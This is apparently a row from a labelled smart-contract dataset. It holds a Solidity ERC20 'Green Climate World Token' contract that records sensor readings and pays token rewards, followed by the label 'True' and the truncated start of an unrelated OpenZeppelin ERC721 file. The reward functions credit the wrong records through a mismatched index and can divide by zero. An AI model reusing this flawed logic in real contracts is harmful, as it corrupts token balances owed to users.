*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title GreenClimate Token
* @dev Simple ERC20 Token , where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `ERC20` functions.
*/
contract GreenClimateWorldToken is Context, ERC20, ERC20Detailed,Ownable {
struct consumerRecords{
address wallet;
uint256 Ti; //U4440M
uint256 RH; //Relative humidity
uint256 Td;
uint256 C; //Carbon
uint256 P;
uint256 Co2;
uint256 O2;
uint256 BP; //Barometric Pressure
uint256 timestamp;
uint256 rewards;
uint256 dateID;
}
uint256[] private consumers;
mapping(uint256=>consumerRecords)private consumer;
mapping(address=>bool)private isConsumer;
mapping(uint256=>mapping(uint256=>consumerRecords))public recordsList;
/**
* @dev Constructor that gives _msgSender() all of existing tokens.
*/
constructor () public ERC20Detailed("Green Climate World Token", "WGC", 18) {
_mint(_msgSender(), 150000000 * (10 ** uint256(decimals())));
}
/**
* @dev Function that registers an consumer in blockchain.
*/
function registerConsumer(uint256 _consumerNumber,address _address) public onlyOwner returns(bool){
consumers.push(_consumerNumber);
isConsumer[_address] = true;
consumer[_consumerNumber].wallet = _address;
return true;
}
/**
* @dev Function that stores an consumer records in blockchain.
*/
function setConsumerReadings(uint256 _consumerNumber,uint256 _Ti,uint256 _RH,uint256 _Td,uint256 _C,uint256 _P,uint256 _Co2,uint256 _O2,uint256 _BP,uint256 _timestamp) public onlyOwner{
//last updated value
consumer[_consumerNumber].Ti = _Ti;
consumer[_consumerNumber].RH = _RH;
consumer[_consumerNumber].Td= _Td;
consumer[_consumerNumber].C = _C;
consumer[_consumerNumber].P = _P;
consumer[_consumerNumber].Co2 = _Co2;
consumer[_consumerNumber].O2 = _O2;
consumer[_consumerNumber].BP = _BP;
consumer[_consumerNumber].timestamp = _timestamp;
consumer[_consumerNumber].dateID = consumer[_consumerNumber].dateID.add(1);
//value by dateID
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].Ti = _Ti;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].RH = _RH;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].Td= _Td;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].C = _C;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].P = _P;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].Co2 = _Co2;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].O2 = _O2;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].BP = _BP;
recordsList[consumer[_consumerNumber].dateID][_consumerNumber].timestamp = _timestamp;
}
/**
* @dev Returns the consumer data split1
*/
function returnConsumerReadings1(uint256 _consumerNumber) public view returns(uint256,uint256,uint256,uint256,uint256) {
return (consumer[_consumerNumber].Ti, consumer[_consumerNumber].RH, consumer[_consumerNumber].Td,
consumer[_consumerNumber].C, consumer[_consumerNumber].P);
}
/**
* @dev Returns the consumer data split2
*/
function returnConsumerReadings2(uint256 _consumerNumber) public view returns(uint256,uint256,uint256,uint256) {
return (consumer[_consumerNumber].Co2, consumer[_consumerNumber].O2, consumer[_consumerNumber].BP,consumer[_consumerNumber].timestamp);
}
/**
* @dev Function that send reward tokens.
*/
function sendRewards() public onlyOwner returns(bool){
for(uint i=0;i<consumers.length;i++){
if(consumer[consumers[i]].O2>=consumer[consumers[i]].Co2){
transfer(consumer[consumers[i]].wallet,consumer[consumers[i]].O2.div(consumer[consumers[i]].Co2).mul(10).mul((10 ** uint256(decimals()))));
consumer[consumers[i]].rewards = consumer[consumers[i]].rewards.add(consumer[consumers[i]].O2.div(consumer[consumers[i]].Co2).mul(10).mul((10 ** uint256(decimals()))));
}
}
}
function sendTimelyRewards(uint256[] memory _consumerNumber,uint256[] memory _Co2List,uint256[] memory _O2List)public onlyOwner{
for(uint i=0;i<_consumerNumber.length;i++){
transfer(consumer[_consumerNumber[i]].wallet, _O2List[i].div(_Co2List[i]).mul(10).mul((10 ** uint256(decimals()))));
consumer[consumers[i]].rewards = consumer[consumers[i]].rewards.add(_O2List[i].div(_Co2List[i]).mul(10).mul((10 ** uint256(decimals()))));
}
}
/**
* @dev Returns the wallet address of a consumer
*/
function consumerWallet(uint256 _consumerNumber) public view returns(address){
return consumer[_consumerNumber].wallet;
}
/**
* @dev Returns the list of consumers
*/
function consumerNumbers() public onlyOwner view returns(uint256[] memory){
return consumers;
}
/**
* @dev Returns the rewards earned by the consumer
*/
function consumerRewards(uint256 _consumerNumber) public view returns(uint256){
return (consumer[_consumerNumber].rewards);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
